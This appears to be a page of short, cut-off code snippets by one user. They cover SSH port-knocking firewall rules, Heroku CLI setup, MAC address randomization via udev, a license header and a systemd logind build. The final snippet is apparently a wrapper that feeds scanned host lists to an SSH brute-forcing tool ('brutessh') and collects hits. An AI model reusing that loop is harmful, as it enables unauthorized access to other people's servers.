dimkr

for x in iptables ip6tables; do
    $x -N ssh
    $x -A INPUT -p tcp --dport 22 -j ssh
    $x -A ssh -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
    $x -A ssh -p tcp --sport 1234 -m recent --name knock1 --set -j DROP
    $x -A ssh -m conntrack --ctstate NEW -m recent --name knock1 \! --rcheck --seconds 20 -j DROP
    $x -A ssh -p tcp --sport 2345 -m recent --name knock2 --set -j DROP
    $x -A ssh -m conntrack --ctstate NEW -m recent --name knock2 \! --rcheck --seconds 20 -j DROP
    $x -A ssh -p tcp --sport 3456 -m recent --name knock3 --set -j DROP
    $x -A ssh -m conntrack --ctstate NEW -m recent --name knock3 \! --rcheck --seconds 20 -j DROP

dimkr

#!/bin/sh -xe

# install 32-bit libraries
sudo apt update || :
sudo apt install -y --no-install-recommends libc6-armhf-cross libstdc++6-armhf-cross libgcc1-armhf-cross
sudo ln -s ../usr/arm-linux-gnueabihf/lib/ld-linux-armhf.so.3 /lib/ld-linux-armhf.so.3

# install 32-bit Heroku CLI
echo "export LD_LIBRARY_PATH=/usr/arm-linux-gnueabihf/lib" >> ~/.bashrc
echo "export PATH=\$PATH:/usr/local/heroku/bin" >> ~/.bashrc

dimkr

ACTION=="add", SUBSYSTEM=="net", ATTR{address}=="CURRENT, REAL MAC ADDRESS GOES HERE", RUN+="/bin/bash -c '/bin/ip link set dev %k address `/usr/bin/printf %02x $(($RANDOM % 255))`:`/usr/bin/printf %02x $(($RANDOM % 255))`:`/usr/bin/printf %02x $(($RANDOM % 255))`:`/usr/bin/printf %02x $(($RANDOM % 255))`:`/usr/bin/printf %02x $(($RANDOM % 255))`:`/usr/bin/printf %02x $(($RANDOM % 255))`'"

dimkr

/*
 * Copyright (c) 2016 Dima Krasner
 *
 * Permission is hereby granted, free of charge, to any person obtaining a copy
 * of this software and associated documentation files (the "Software"), to deal
 * in the Software without restriction, including without limitation the rights
 * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
 * copies of the Software, and to permit persons to whom the Software is
 * furnished to do so, subject to the following conditions:
 *

dimkr

#!/bin/sh

wget http://www.freedesktop.org/software/systemd/systemd-204.tar.xz
tar -xJvf systemd-204.tar.xz

cd systemd-204/src/login
gperf < logind-gperf.gperf > logind-gperf.c
gcc -std=gnu99 -Wall -pedantic \
    -o logind \
    -march=i486 -mtune=i686 -Os -fomit-frame-pointer -ffunction-sections -fdata-sections -fmerge-all-constants \

dimkr

split -5000  results22.txt temp_22_
ls temp_22_*  | while read name; do 
	echo Start $name
	mv -f $name mfu.txt
	./brutessh 500
	sync
	split -10000  vuln.txt temp_bios_
	ls temp_bios_*  | while read name; do